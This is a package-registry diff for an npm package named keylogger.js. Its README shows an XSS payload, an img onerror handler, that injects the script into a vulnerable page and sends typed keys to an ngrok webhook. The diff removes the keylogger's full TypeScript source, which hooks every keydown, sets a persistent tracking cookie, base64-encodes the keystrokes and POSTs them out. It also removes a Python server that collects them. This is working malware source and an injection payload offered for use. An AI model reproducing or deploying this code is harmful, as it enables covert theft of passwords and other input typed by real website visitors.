@mihnea.dev/keylogger.js 0.0.4 → 1.0.0-keywords

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -70,13 +70,14 @@ This step demonstrates embedding Keylogger.js into a vulnerable webpage as part
70
70
  ```html
71
71
  <img src="invalid.jpg" onerror="
72
72
  const script = document.createElement('script');
73
- script.src = 'https://your-cdn-link.com/keylogger.js';
73
+ script.src = 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
74
74
  document.body.appendChild(script);
75
75
  script.onload = () => {
76
- const _ = new Keylogger('https://<random-id>.ngrok.io', true);
76
+ const _ = new Keylogger('https://<random-id>.ngrok.io', false);
77
77
  };
78
78
  ">
79
79
  ```
80
+ ![keylogger js](https://github.com/user-attachments/assets/716178d9-5a57-4bdd-9bc6-2788a705c05f)
80
81
 
81
82
  ### Observing Results:
82
83
  1. The Keylogger.js library captures keystrokes and sends them to the webhook.
@@ -85,8 +86,8 @@ This step demonstrates embedding Keylogger.js into a vulnerable webpage as part
85
86
  Decoded Payload: {"type":"keypress","value":"a","session":{...}}
86
87
  Parsed JSON:
87
88
  {
88
- "type": "keypress",
89
- "value": "a",
89
+ "type": "enter",
90
+ "value": "asdf",
90
91
  "session": {
91
92
  "id": "unique-session-id",
92
93
  "created_at": "2024-11-29T18:00:00Z",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@mihnea.dev/keylogger.js",
3
- "version": "0.0.4",
3
+ "version": "1.0.0-keywords",
4
4
  "author": "Mihnea Octavian Manolache <mihnea.dev@gmail.com> (https://github.com/mihneamanolache/)",
5
5
  "repository": {
6
6
  "type": "git",
@@ -27,5 +27,15 @@
27
27
  "build": "rm -rf ./dist && tsup src/index.ts --format cjs,esm --dts --clean"
28
28
  },
29
29
  "type": "module",
30
- "types": "./dist/index.d.ts"
30
+ "types": "./dist/index.d.ts",
31
+ "files": [
32
+ "dist",
33
+ "README.md",
34
+ "LICENSE"
35
+ ],
36
+ "license": "MIT",
37
+ "keywords": [
38
+ "keylogger",
39
+ "security"
40
+ ]
31
41
  }
@@ -1,19 +0,0 @@
1
- <!DOCTYPE html>
2
- <html lang="en">
3
- <head>
4
- <meta charset="UTF-8">
5
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
- <title>Keylogger Test</title>
7
- </head>
8
- <body>
9
- <h1>Keylogger Test Page</h1>
10
- <p>Type something in this page to test the keylogger.</p>
11
-
12
- <!-- Import Keylogger.js using unpkg -->
13
- <script type="module">
14
- import Keylogger from 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
15
- const keylogger = new Keylogger('https://your-webhook-url.com', false);
16
- console.log('Keylogger initialized:', keylogger);
17
- </script>
18
- </body>
19
- </html>
@@ -1,96 +0,0 @@
1
- """
2
- Python Webhook Server for Keylogger Class
3
-
4
- This Python server acts as a webhook endpoint for the Keylogger class,
5
- designed to listen for HTTP POST requests on http://0.0.0.0:3000.
6
- It processes incoming keystroke data sent by the Keylogger, allowing
7
- you to log, inspect, and respond to the payloads.
8
-
9
- - The Keylogger sends JSON data containing keystrokes or session information.
10
- - This server's POST handler (`do_POST`) decodes and prints the payload.
11
- - If the payload is valid JSON, it logs the structured JSON to the console for inspection.
12
-
13
- NOTE: In a production environment, you should secure the server with HTTPS, and store the payload
14
- data securely in a database or log file. This server is for testing and debugging purposes only.
15
-
16
- Example Payload Sent by Keylogger:
17
- ---------------------------------
18
- {
19
- "type": "keypress",
20
- "value": "a",
21
- "session": {
22
- "id": "unique-session-id",
23
- "created_at": "2024-11-29T17:30:00Z",
24
- "user_agent": "Mozilla/5.0",
25
- "session_cookie": "master-kw-session"
26
- }
27
- }
28
-
29
- How to Use:
30
- -----------
31
- 1. Run this server using:
32
- $ python3 examples/server.py
33
-
34
- 1.1. You can use ngrok to expose the server to the internet:
35
- $ ngrok http 3000
36
-
37
- 2. Configure your Keylogger instance to send keystroke data to the webhook URL:
38
- e.g., new Keylogger("https://your-ngrok-url.ngrok.io")
39
- """
40
-
41
- from http.server import BaseHTTPRequestHandler, HTTPServer
42
- import json, base64
43
-
44
- class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
45
- def do_OPTIONS(self):
46
- """
47
- Handle preflight CORS requests.
48
- """
49
- self.send_response(200)
50
- self.send_header("Access-Control-Allow-Origin", "*")
51
- self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
52
- self.send_header("Access-Control-Allow-Headers", "Content-Type")
53
- self.end_headers()
54
-
55
- def do_POST(self):
56
- """
57
- Handle POST requests with raw Base64 payloads.
58
- """
59
- # Read the content length from headers
60
- content_length = int(self.headers.get('Content-Length', 0))
61
- # Read the incoming POST data (Base64-encoded string)
62
- base64_payload = self.rfile.read(content_length).decode('utf-8')
63
-
64
- # Decode Base64-encoded payload
65
- try:
66
- decoded_payload = base64.b64decode(base64_payload).decode('utf-8')
67
- print("Decoded Payload:", decoded_payload)
68
-
69
- # Try parsing the decoded payload as JSON
70
- try:
71
- json_payload = json.loads(decoded_payload)
72
- print("Parsed JSON Payload:", json.dumps(json_payload, indent=4))
73
- except json.JSONDecodeError:
74
- print("Decoded payload is not valid JSON.")
75
- except Exception as e:
76
- print("Error decoding Base64 payload:", str(e))
77
-
78
- # Respond to the client
79
- self.send_response(200)
80
- self.send_header("Access-Control-Allow-Origin", "*")
81
- self.send_header("Content-Type", "application/json")
82
- self.end_headers()
83
- self.wfile.write(b'{"status": "success"}')
84
-
85
- def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler):
86
- """
87
- Start the HTTP server on localhost:3000.
88
- """
89
- server_address = ('0.0.0.0', 3000)
90
- httpd = server_class(server_address, handler_class)
91
- print("Starting server on http://0.0.0.0:3000")
92
- httpd.serve_forever()
93
-
94
- if __name__ == "__main__":
95
- run()
96
-
package/src/index.ts DELETED
@@ -1,3 +0,0 @@
1
- import Keylogger from "./lib/Keylogger";
2
- export default Keylogger;
3
- export * from "./lib/Keylogger.types";
@@ -1,123 +0,0 @@
1
- import type { IPayload, ISession } from "./Keylogger.types";
2
-
3
- /**
4
- * Keylogger class to capture keyboard events and send them to a specified webhook.
5
- */
6
- export default class Keylogger {
7
- /** Webhook URL to send captured data. */
8
- protected webhook: string;
9
- /** Current session information. */
10
- protected session: ISession | null = null;
11
- /** Array to store captured keystrokes. */
12
- protected keys: Array<string> = [];
13
-
14
- /**
15
- * Constructs a new instance of the Keylogger.
16
- *
17
- * @param { string } webhook - URL of the webhook to send captured data.
18
- * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
19
- */
20
- constructor(webhook: string, logAll?: boolean | undefined) {
21
- this.webhook = webhook;
22
- const masterSession: string = this.getOrCreateMasterSession();
23
- this.initializeSession(masterSession);
24
- logAll ? this.logAll() : this.logOnEnter();
25
- }
26
-
27
- /**
28
- * Retrieves or creates a persistent "master-kw-cookie" cookie.
29
- * @returns The value of the "master-kw-session" cookie.
30
- */
31
- protected getOrCreateMasterSession(): string {
32
- const cookieName: string = "master-kw-session";
33
- const existingCookie: string | undefined = document.cookie
34
- .split("; ")
35
- .find((row) => row.startsWith(`${cookieName}=`));
36
- if (existingCookie) {
37
- return existingCookie.split("=")[1];
38
- }
39
- const newMasterSession: string = crypto.randomUUID();
40
- const expires: Date = new Date();
41
- expires.setFullYear(expires.getFullYear() + 100);
42
- document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
43
- return newMasterSession;
44
- }
45
-
46
- /**
47
- * Initializes the session with metadata.
48
- * @param { string } session_cookie - The persistent session cookie value.
49
- */
50
- protected async initializeSession(session_cookie: string): Promise<void> {
51
- this.session = await this.createSession(session_cookie);
52
- }
53
-
54
- /**
55
- * Creates a new session object with metadata.
56
- * @param { string } session_cookie - The persistent session cookie value.
57
- * @returns { Promise<ISession> } A Promise resolving to the session object.
58
- */
59
- protected async createSession(session_cookie: string): Promise<ISession> {
60
- const id: string = crypto.randomUUID();
61
- const created_at: Date = new Date();
62
- const user_agent: string = navigator.userAgent;
63
- return { id, created_at, user_agent, session_cookie };
64
- }
65
-
66
- /**
67
- * Sends captured data to the webhook along with the session information.
68
- * NOTE: Data is encoded in Base64 to prevent interception.
69
- *
70
- * @param payload - The data payload to send.
71
- */
72
- protected async sendToWebhook(payload: IPayload): Promise<void> {
73
- if (!this.session) return;
74
- const body: string = btoa(JSON.stringify({ ...payload, session: this.session }));
75
- try {
76
- const response: Response = await fetch(this.webhook, {
77
- method: "POST",
78
- headers: {
79
- "Content-Type": "text/plain",
80
- },
81
- body
82
- });
83
- if (!response.ok) {
84
- console.error(btoa(response.statusText));
85
- }
86
- } catch (e: unknown) {
87
- console.error(btoa((<Error>e).toString()));
88
- }
89
- }
90
-
91
- /**
92
- * Logs all keypress events and sends each key to the webhook.
93
- */
94
- protected logAll(): void {
95
- document.addEventListener("keydown", (event: KeyboardEvent) => {
96
- const key: string = event.key;
97
- this.keys.push(key);
98
- this.sendToWebhook({
99
- type: "keypress",
100
- value: key,
101
- });
102
- });
103
- }
104
-
105
- /**
106
- * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
107
- */
108
- protected logOnEnter(): void {
109
- document.addEventListener("keydown", (event: KeyboardEvent) => {
110
- if (event.key === "Enter") {
111
- const value: string = this.keys.join("");
112
- this.keys = [];
113
- this.sendToWebhook({
114
- type: "enter",
115
- value,
116
- });
117
- } else {
118
- this.keys.push(event.key);
119
- }
120
- });
121
- }
122
- }
123
-
@@ -1,20 +0,0 @@
1
- /**
2
- * Interface representing a session's metadata.
3
- */
4
- export interface ISession {
5
- /** Unique identifier for the session. */
6
- id: string;
7
- /** Timestamp when the session was created. */
8
- created_at: Date;
9
- /** User agent string of the client browser. */
10
- user_agent: string;
11
- /** Persistent session cookie. */
12
- session_cookie: string;
13
- }
14
-
15
- export interface IPayload {
16
- /** Type of event captured. */
17
- type: "keypress" | "enter";
18
- /** Value of the captured event. */
19
- value: string;
20
- }
package/tsconfig.json DELETED
@@ -1,27 +0,0 @@
1
- {
2
- "compilerOptions": {
3
- // Enable latest features
4
- "lib": ["ESNext", "DOM"],
5
- "target": "ESNext",
6
- "module": "ESNext",
7
- "moduleDetection": "force",
8
- "jsx": "react-jsx",
9
- "allowJs": true,
10
-
11
- // Bundler mode
12
- "moduleResolution": "bundler",
13
- "allowImportingTsExtensions": true,
14
- "verbatimModuleSyntax": true,
15
-
16
- // Best practices
17
- "strict": true,
18
- "skipLibCheck": true,
19
- "noFallthroughCasesInSwitch": true,
20
- "declaration": true,
21
-
22
- // Some stricter flags (disabled by default)
23
- "noUnusedLocals": false,
24
- "noUnusedParameters": false,
25
- "noPropertyAccessFromIndexSignature": false
26
- }
27
- }